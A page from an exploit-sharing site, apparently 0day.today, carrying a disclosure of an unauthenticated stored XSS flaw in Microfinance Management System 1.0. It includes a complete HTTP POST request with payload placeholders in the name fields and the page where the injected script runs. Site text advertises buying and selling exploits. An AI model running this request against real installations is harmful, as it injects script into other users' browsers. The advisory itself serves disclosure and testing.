0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Microfinance Management System 1.0 Cross Site Scripting Vulnerability
[# Exploit Title: Microfinance Management System 1.0 - Cross-site scripting stored (unauthenticated) # Exploit Author: Mr Empy # Software Link: https://www.sourcecodester.com/php/14822/microfinance-management-system.html # Version: 1.0 # Tested on: Linux Title: ================ Microfinance Management System 1.0 - Cross-site scripting stored (unauthenticated) Summary: ================ Microfinance Management System version 1.0 is affected by the Cross-site Scripting vulnerability due to poor hygiene in certain parameters. The attacker could take advantage of this flaw to inject arbitrary javascript code to manipulate the victim's browser capabilities. Severity Level: ================ 6.5 (Medium) CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N Affected Product: ================ Microfinance Management System v1.0 Steps to Reproduce: ================ 1. Open a request repeater (like Burp Suite) and send this request: POST /mims/app/addcustomerHandler.php HTTP/1.1 Host: target.com Content-Length: 310 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://target.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://target.com/mims/addcustomer.php Accept-Encoding: gzip, deflate Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close customer_number=335341988&customer_type=14465108&first_name=<XSS PAYLOAD HERE>&middle_name=<XSS PAYLOAD HERE>&surname=<XSS PAYLOAD HERE>&nationality=Tanzanian&date_of_birth=2000-01-01&gender=O&addcustomer= You can find your XSS payload in the /mims/managecustomer.php endpoint. # 0day.today [2024-06-28] #